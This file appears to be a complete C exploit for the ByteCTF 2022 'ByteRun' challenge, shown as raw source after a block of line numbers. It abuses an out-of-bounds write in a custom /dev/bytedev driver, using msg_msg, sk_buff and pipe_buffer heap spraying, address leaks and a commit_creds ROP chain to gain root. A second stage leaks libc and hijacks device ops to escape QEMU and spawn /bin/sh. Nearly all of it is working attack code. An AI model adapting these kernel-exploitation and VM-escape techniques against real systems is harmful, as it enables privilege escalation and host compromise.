1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749
| #define _GNU_SOURCE #include <err.h> #include <errno.h> #include <fcntl.h> #include <inttypes.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <signal.h>
#define PRIMARY_MSG_SIZE 0x1000 #define SECONDARY_MSG_SIZE 0x400
#define PRIMARY_MSG_TYPE 0x41 #define SECONDARY_MSG_TYPE 0x42 #define VICTIM_MSG_TYPE 0x1337 #define MSG_TAG 0xAAAAAAAA
#define SOCKET_NUM 8 #define SK_BUFF_NUM 128 #define PIPE_NUM 256 #define MSG_QUEUE_NUM 4096
#ifndef MSG_COPY #define MSG_COPY 040000 #endif
#define ANON_PIPE_BUF_OPS 0xffffffff81e2d980 #define PREPARE_KERNEL_CRED 0xffffffff810bb9c04 #define INIT_CRED 0xffffffff8224aca0 #define COMMIT_CREDS 0xffffffff810bb710 #define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81a01086 #define POP_RDI_RET 0xffffffff811af57d
#define BYTEDEV_BUF_SIZE (4096 - sizeof(struct bytedev_data))
#define BYTEDEV_MODE_CHANGE 0x114514 #define BYTEDEV_BLK_IDX_CHANGE 0x1919810
#define BYTEDEV_SECTOR_SIZE 512 #define BYTEDEV_SECTOR_NUM 256
#define LIBC_SYSTEM 0x50d60 #define LIBC_MOV_RSP_RDX_RET 0x5a170 #define LIBC_MOV_RDX_PTRRDIADD8_MOV_PTRRSP_RAX_CALL_PTRRDXADD0x20 0x1675b0 #define LIBC_POP_RDI_RET 0x2a3e5 #define LIBC_RET 0x2a3e6 #define LIBC_BIN_SH 0x1d8698 #define LIBC_PUTS 0x80ed0
enum BYTEDEV_MODE { BYTEDEV_MODE_STREAM = 0, BYTEDEV_MODE_BLK, };
struct bytedev_data { unsigned short len, offset; char data[0]; };
struct list_head { uint64_t next; uint64_t prev; };
struct msg_msg { struct list_head m_list; uint64_t m_type; uint64_t m_ts; uint64_t next; uint64_t security; };
struct msg_msgseg { uint64_t next; };
struct { long mtype; char mtext[PRIMARY_MSG_SIZE - sizeof(struct msg_msg)]; } primary_msg;
struct { long mtype; char mtext[SECONDARY_MSG_SIZE - sizeof(struct msg_msg)]; } secondary_msg;
char fake_second_msg[704];
struct { long mtype; char mtext[0x1000 - sizeof(struct msg_msg) \ + 0x1000 - sizeof(struct msg_msgseg)]; } oob_msg;
struct pipe_buffer { uint64_t page; uint32_t offset, len; uint64_t ops; uint32_t flags; uint32_t padding; uint64_t private; };
struct pipe_buf_operations { uint64_t confirm; uint64_t release; uint64_t try_steal; uint64_t get; };
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m[*] Status has been saved.\n\033[0m"); }
void errExit(char *msg) { printf("\033[31m\033[1m[x] Error: %s\033[0m\n", msg); exit(EXIT_FAILURE); }
int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp) { return msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0); }
int writeMsg(int msqid, void *msgp, size_t msgsz, long msgtyp) { *(long*)msgp = msgtyp; return msgsnd(msqid, msgp, msgsz - sizeof(long), 0); }
int peekMsg(int msqid, void *msgp, size_t msgsz, long msgtyp) { int __msgsz = msgsz - sizeof(long); return msgrcv(msqid, msgp, __msgsz, msgtyp, MSG_COPY | IPC_NOWAIT); }
void buildMsg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev, uint64_t m_type, uint64_t m_ts, uint64_t next, uint64_t security) { msg->m_list.next = m_list_next; msg->m_list.prev = m_list_prev; msg->m_type = m_type; msg->m_ts = m_ts; msg->next = next; msg->security = security; }
int spraySkBuff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size) { for (int i = 0; i < SOCKET_NUM; i++) { for (int j = 0; j < SK_BUFF_NUM; j++) { if (write(sk_socket[i][0], buf, size) < 0) { printf("[x] failed to spray %d sk_buff for %d socket!", j, i); return -1; } } }
return 0; }
int freeSkBuff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size) { for (int i = 0; i < SOCKET_NUM; i++) { for (int j = 0; j < SK_BUFF_NUM; j++) { if (read(sk_socket[i][1], buf, size) < 0) { puts("[x] failed to received sk_buff!"); return -1; } } }
return 0; }
void trigerOutOfBoundWrite(int dev_fd, int socket_fd[2]) { struct bytedev_data *fake_data; char *trash_data;
trash_data = malloc(BYTEDEV_BUF_SIZE); memset(trash_data, 0x84, BYTEDEV_BUF_SIZE);
printf("[*] write %ld bytes to dev \n", write(dev_fd, trash_data, BYTEDEV_BUF_SIZE)); printf("[*] read %ld bytes from dev\n", read(dev_fd, trash_data, BYTEDEV_BUF_SIZE));
fake_data = malloc(sizeof(struct bytedev_data) + BYTEDEV_BUF_SIZE); fake_data->len = BYTEDEV_BUF_SIZE + 1; puts("[*] re-get the buffer by sk_buff..."); write(socket_fd[0], fake_data, BYTEDEV_BUF_SIZE - 320);
puts("[*] OOB write to nearby object..."); write(dev_fd, trash_data, 1);
free(trash_data); free(fake_data); }
void qemuEscape(void) { int dev_fd, ret; uint64_t buf[BYTEDEV_SECTOR_SIZE / sizeof(uint64_t)]; uint64_t fake_ops[BYTEDEV_SECTOR_SIZE / sizeof(uint64_t)]; uint64_t libc_base, opaque, byte_dev_pmio_read;
if ((dev_fd = open("/dev/bytedev", O_RDWR)) < 0) { errExit("failed to open bytedev!"); }
ioctl(dev_fd, BYTEDEV_MODE_CHANGE, BYTEDEV_MODE_BLK);
puts(""); puts("\033[34m\033[1m[*] Step.I leak basic\033[0m");
puts("\033[34m\033[1m[*] Reading from -388 sector...\033[0m");
ioctl(dev_fd, BYTEDEV_BLK_IDX_CHANGE, -388); read(dev_fd, buf, BYTEDEV_SECTOR_SIZE);
if (buf[7] < 0x7f0000000000) { for (int i = 0; i < BYTEDEV_SECTOR_SIZE / sizeof(uint64_t); i++) { printf("[--data-dump--][%d] %lx\n", i, buf[i]); } errExit("failed to leak libc related ptr!"); }
libc_base = buf[7] - 0x3ea410;
printf("\033[32m\033[1m[+] Got libc_base: \033[0m%lx\n", libc_base);
puts("\033[34m\033[1m[*] Reading from -25 sector...\033[0m");
ioctl(dev_fd, BYTEDEV_BLK_IDX_CHANGE, -25); read(dev_fd, fake_ops, BYTEDEV_SECTOR_SIZE); byte_dev_pmio_read = fake_ops[0]; printf("\033[32m\033[1m[+] Got byte_dev_pmio_read: \033[0m%lx\n", byte_dev_pmio_read); puts("\033[34m\033[1m[*] Reading from -347 sector...\033[0m"); ioctl(dev_fd, BYTEDEV_BLK_IDX_CHANGE, -347); read(dev_fd, buf, 10 * sizeof(uint64_t)); opaque = buf[4]; printf("\033[32m\033[1m[+] Got opaque: \033[0m%lx\n", opaque);
puts(""); puts("\033[34m\033[1m[*] Step.II construct fake pmio->ops\033[0m"); ioctl(dev_fd, BYTEDEV_BLK_IDX_CHANGE, -24); read(dev_fd, buf, BYTEDEV_SECTOR_SIZE);
buf[33] = buf[34] = 0; strcpy((char*)&buf[33], "ls;cat ./flag;gnome-calculator;/bin/sh");
buf[28] = libc_base + LIBC_POP_RDI_RET; buf[29] = opaque + 33 * 8; buf[30] = libc_base + LIBC_SYSTEM;
buf[32] = libc_base + LIBC_MOV_RSP_RDX_RET;
buf[1] = opaque + 28 * 8;
for (int i = 0; i < 10; i++) { buf[50 + i] = fake_ops[i]; }
buf[51] = libc_base + LIBC_MOV_RDX_PTRRDIADD8_MOV_PTRRSP_RAX_CALL_PTRRDXADD0x20;
write(dev_fd, buf, BYTEDEV_SECTOR_SIZE);
puts("\033[32m\033[1m[+] Done!\033[0m");
puts(""); puts("\033[34m\033[1m[*] Step.III change pmio->ops to fake ops\033[0m");
ioctl(dev_fd, BYTEDEV_BLK_IDX_CHANGE, -347); read(dev_fd, buf, 10 * sizeof(uint64_t));
buf[9] = opaque + 50 * 8; write(dev_fd, buf, 10 * sizeof(uint64_t));
puts("\033[32m\033[1m[+] Done!\033[0m");
puts(""); puts("\033[34m\033[1m[*] Step.IV trigger fake ops to escape\n\033[0m");
ioctl(dev_fd, BYTEDEV_MODE_CHANGE, *(size_t*)"arttnba3"); }
void getRootShell(void) { if (getuid()) { errExit("failed to gain the root!"); } puts("\033[32m\033[1m[+] Succesfully gain the root privilege\033[0m");
puts("\033[34m\033[1m\n[*] Now we come to Stage II - QEMU ESCAPE\033[0m\n"); qemuEscape();
puts("\033[32m\033[1m[+] trigerring root shell now...\033[0m\n"); system("/bin/sh"); exit(EXIT_SUCCESS); }
int main(int argc, char **argv, char **envp) { int oob_socket[2]; int sk_sockets[SOCKET_NUM][2]; int pipe_fd[PIPE_NUM][2]; int msqid[MSG_QUEUE_NUM]; int victim_qid, real_qid; struct msg_msg *nearby_msg; struct msg_msg *nearby_msg_prim; struct pipe_buffer *pipe_buf_ptr; struct pipe_buf_operations *ops_ptr; uint64_t victim_addr; uint64_t kernel_base; uint64_t kernel_offset; uint64_t *rop_chain; int rop_idx; cpu_set_t cpu_set; int dev_fd; int ret;
puts("\033[32m\033[1m\n[+] ByteCTF 2022 - ByteRun - exploit \033[0m\n"); puts("\033[34m\033[1m\n[*] Stage I - ROOT Privilege Escalation. \033[0m\n");
saveStatus();
if ((dev_fd = open("/dev/bytedev", O_RDWR)) < 0) { errExit("failed to open bytedev!"); }
if (socketpair(AF_UNIX, SOCK_STREAM, 0, oob_socket) < 0) { errExit("failed to create socket pair for OOB write!"); }
CPU_ZERO(&cpu_set); CPU_SET(0, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set); for (int i = 0; i < SOCKET_NUM; i++) { if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_sockets[i]) < 0) { errExit("failed to create socket pair!"); } }
puts(""); puts("\033[34m\033[1m[*] Step.I spray msg_msg for overlapping obj\033[0m");
puts("[*] Build message queue..."); for (int i = 0; i < MSG_QUEUE_NUM; i++) { if ((msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0) { errExit("failed to create msg_queue!"); } }
puts("[*] Spray primary and secondary msg_msg...");
memset(&primary_msg, 0, sizeof(primary_msg)); memset(&secondary_msg, 0, sizeof(secondary_msg));
for (int i = 0; i < MSG_QUEUE_NUM; i++) { *(int *)&primary_msg.mtext[0] = MSG_TAG; *(int *)&primary_msg.mtext[4] = i;
ret = writeMsg(msqid[i], &primary_msg, sizeof(primary_msg), PRIMARY_MSG_TYPE); if (ret < 0) { errExit("failed to send primary msg!"); }
*(int *)&secondary_msg.mtext[0] = MSG_TAG; *(int *)&secondary_msg.mtext[4] = i;
ret = writeMsg(msqid[i], &secondary_msg, sizeof(secondary_msg), SECONDARY_MSG_TYPE); if (ret < 0) { errExit("failed to send secondary msg!"); } }
puts("[*] Create holes in primary msg_msg..."); for (int i = 0; i < MSG_QUEUE_NUM; i += 1024) { ret = readMsg(msqid[i], &primary_msg, sizeof(primary_msg), PRIMARY_MSG_TYPE); if (ret < 0) { errExit("failed to receive primary msg!"); } }
puts("[*] Trigger OOB write to construct the overlapping..."); trigerOutOfBoundWrite(dev_fd, oob_socket);
puts("[*] Checking whether succeeded to make overlapping..."); victim_qid = real_qid = -1; for (int i = 0; i < MSG_QUEUE_NUM; i++) { if ((i % 256) == 0) { continue; }
if (peekMsg(msqid[i], &secondary_msg, sizeof(secondary_msg), 1) < 0) { printf("[x] error qid: %d\n", i); errExit("failed to receive secondary msg!"); }
if (*(int*) &secondary_msg.mtext[0] != MSG_TAG) { errExit("failed to make corruption!"); } if (*(int*) &secondary_msg.mtext[4] != i) { victim_qid = i; real_qid = *(int*) &secondary_msg.mtext[4]; break; } }
if (victim_qid < 0) { errExit("failed to make overlapping!"); } printf("\033[32m\033[1m[+] victim qid:\033[0m %d ", victim_qid); printf("\033[32m\033[1m real qid: \033[0m %d\n", real_qid);
puts("\n\033[34m\033[1m[*] Step.II construct UAF\033[0m");
ret = readMsg(msqid[real_qid], &secondary_msg, sizeof(secondary_msg), SECONDARY_MSG_TYPE); if (ret < 0) { errExit("failed to receive secondary msg!"); } puts("\033[32m\033[1m[+] UAF construction complete!\033[0m");
puts(""); puts("\033[34m\033[1m[*] Step.III spray sk_buff to leak kheap addr\033[0m");
puts("[*] spray sk_buff..."); buildMsg((struct msg_msg *)fake_second_msg, *(uint64_t*)"arttnba3", *(uint64_t*)"arttnba3", VICTIM_MSG_TYPE, 0x1000 - sizeof(struct msg_msg), 0, 0); ret = spraySkBuff(sk_sockets, fake_second_msg, sizeof(fake_second_msg)); if (ret < 0) { errExit("failed to spray sk_buff!"); } puts("[*] OOB read from victim msg_msg"); if (peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1) < 0) errExit("failed to read victim msg!"); if (*(int *)&oob_msg.mtext[SECONDARY_MSG_SIZE] != MSG_TAG) { errExit("failed to rehit the UAF object!"); }
nearby_msg = (struct msg_msg*) &oob_msg.mtext[(SECONDARY_MSG_SIZE) - sizeof(struct msg_msg)]; printf("\033[32m\033[1m[+] addr of primary msg of msg nearby victim: "); printf("\033[0m%lx\n", nearby_msg->m_list.prev);
if (freeSkBuff(sk_sockets, fake_second_msg, sizeof(fake_second_msg)) < 0) { errExit("failed to release sk_buff!"); } buildMsg((struct msg_msg *)fake_second_msg, *(uint64_t*)"arttnba3", *(uint64_t*)"arttnba3", VICTIM_MSG_TYPE, sizeof(oob_msg.mtext), nearby_msg->m_list.prev - 8, 0); if (spraySkBuff(sk_sockets, fake_second_msg, sizeof(fake_second_msg)) < 0) { errExit("failed to spray sk_buff!"); } puts("[*] arbitrary read on primary msg of msg nearby victim"); if (peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1) < 0) { errExit("failed to read victim msg!"); } if (*(int *)&oob_msg.mtext[0x1000] != MSG_TAG) { errExit("failed to rehit the UAF object!"); } nearby_msg_prim = (struct msg_msg*) &oob_msg.mtext[0x1000 - sizeof(struct msg_msg)]; victim_addr = nearby_msg_prim->m_list.next - 0x400; printf("\033[32m\033[1m[+] addr of msg next to victim: \033[0m%lx\n", nearby_msg_prim->m_list.next); printf("\033[32m\033[1m[+] addr of msg UAF object: \033[0m%lx\n", victim_addr);
puts(""); puts("\033[34m\033[1m[*] Step.IV spray pipe_buffer to leak kbase\033[0m");
puts("[*] fixing the UAF obj as a msg_msg..."); if (freeSkBuff(sk_sockets, fake_second_msg, sizeof(fake_second_msg)) < 0) { errExit("failed to release sk_buff!"); }
memset(fake_second_msg, 0, sizeof(fake_second_msg)); for (int i = 0; i < 0x50; i++) { ((size_t*)(fake_second_msg))[i] = victim_addr; } buildMsg((struct msg_msg *)fake_second_msg, victim_addr + 0x100, victim_addr + 0x100, VICTIM_MSG_TYPE, SECONDARY_MSG_SIZE - sizeof(struct msg_msg), 0, 0); if (spraySkBuff(sk_sockets, fake_second_msg, sizeof(fake_second_msg)) < 0) { errExit("failed to spray sk_buff!"); } puts("[*] release UAF obj in message queue..."); ret = readMsg(msqid[victim_qid], &secondary_msg, sizeof(secondary_msg), VICTIM_MSG_TYPE); if (ret < 0) { errExit("failed to receive secondary msg!"); } puts("[*] spray pipe_buffer..."); for (int i = 0; i < PIPE_NUM; i++) { if (pipe(pipe_fd[i]) < 0) { errExit("failed to create pipe!"); } if (write(pipe_fd[i][1], "arttnba3", 8) < 0) { errExit("failed to write the pipe!"); } }
puts("[*] release sk_buff to read pipe_buffer..."); pipe_buf_ptr = (struct pipe_buffer *) &fake_second_msg; for (int i = 0; i < SOCKET_NUM; i++) { for (int j = 0; j < SK_BUFF_NUM; j++) { ret = read(sk_sockets[i][1], &fake_second_msg, sizeof(fake_second_msg)); if (ret < 0) { errExit("failed to release sk_buff!"); } if (pipe_buf_ptr->ops > 0xffffffff81000000) { printf("\033[32m\033[1m[+] got anon_pipe_buf_ops:\033[0m%lx\n", pipe_buf_ptr->ops); kernel_offset = pipe_buf_ptr->ops - ANON_PIPE_BUF_OPS; kernel_base = 0xffffffff81000000 + kernel_offset; } } }
printf("\033[32m\033[1m[+] kernel base: \033[0m%lx ", kernel_base); printf("\033[32m\033[1moffset: \033[0m%lx\n", kernel_offset);
puts(""); puts("\033[34m\033[1m[*] Step.V hijack the ops of pipe to root\033[0m");
puts("[*] pre-construct data in userspace..."); pipe_buf_ptr = (struct pipe_buffer *) fake_second_msg; pipe_buf_ptr->ops = victim_addr;
ops_ptr = (struct pipe_buf_operations *) fake_second_msg; ops_ptr->release = 0xffffffff8133151b + kernel_offset; ops_ptr->get = 0xffffffff81331534 + kernel_offset;
rop_idx = 0; rop_chain = (uint64_t*) &fake_second_msg[0x20]; rop_chain[rop_idx++] = kernel_offset + POP_RDI_RET; rop_chain[rop_idx++] = kernel_offset + INIT_CRED; rop_chain[rop_idx++] = kernel_offset + COMMIT_CREDS; rop_chain[rop_idx++] = \ kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE; rop_chain[rop_idx++] = *(uint64_t*) "arttnba3"; rop_chain[rop_idx++] = *(uint64_t*) "arttnba3"; rop_chain[rop_idx++] = (size_t) getRootShell; rop_chain[rop_idx++] = user_cs; rop_chain[rop_idx++] = user_rflags; rop_chain[rop_idx++] = user_sp; rop_chain[rop_idx++] = user_ss;
puts("[*] spray sk_buff to hijack pipe_buffer..."); if (spraySkBuff(sk_sockets, fake_second_msg, sizeof(fake_second_msg)) < 0) { errExit("failed to spray sk_buff!"); } puts("[*] trigger fake ops->release to hijack RIP..."); for (int i = 0; i < PIPE_NUM; i++) { close(pipe_fd[i][0]); close(pipe_fd[i][1]); }
return 0; }
|